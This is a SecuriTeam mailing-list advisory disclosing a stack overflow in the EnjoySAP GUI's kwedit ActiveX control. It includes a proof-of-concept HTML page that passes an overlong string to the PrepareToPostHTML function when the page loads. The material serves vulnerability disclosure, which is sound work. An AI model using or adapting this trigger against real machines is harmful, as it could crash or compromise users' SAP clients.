The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
EnjoySAP Stack Overflow
------------------------------------------------------------------------
SUMMARY
<ftp://ftp.sap.com/pub/sapgui/win/> EnjoySAP, also know as "Enjoy is the
most popular SAP GUI used today". When installing EnjoySAP, in
appreciation of its vast size for being a client (around 500MB), there are
an astounding 1102 ActiveX controls installed.
A relatively brief examination of these controls, found a large number of
instances that would terminate EnjoySAP process, there were a number that
could create files on the file system (there unfortunately exists no
ability to inject content into these created files) and a number of buffer
overruns.
DETAILS
Technical Details:
Control - kweditcontrol.kwedit.1 (Marked Safe For Scripting)
Function - PrepareToPostHTML
DLL Path - C:\Program Files\SAP\FrontEnd\SapGui\kwedit.dll
Proof of Concept:
<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>
function init()
{
var foo = "";
for(var icount = 0; icount < 1060; icount++)
{
foo = foo + "x";
}
var ngssoftware;
ngssoftware = new ActiveXObject("kweditcontrol.kwedit.1");
ngssoftware["PrepareToPostHTML"](foo);
}
//-->
</SCRIPT>
</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>
ADDITIONAL INFORMATION
The information has been provided by <mailto:mark@ngssoftware.com> Mark
Litchfield.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
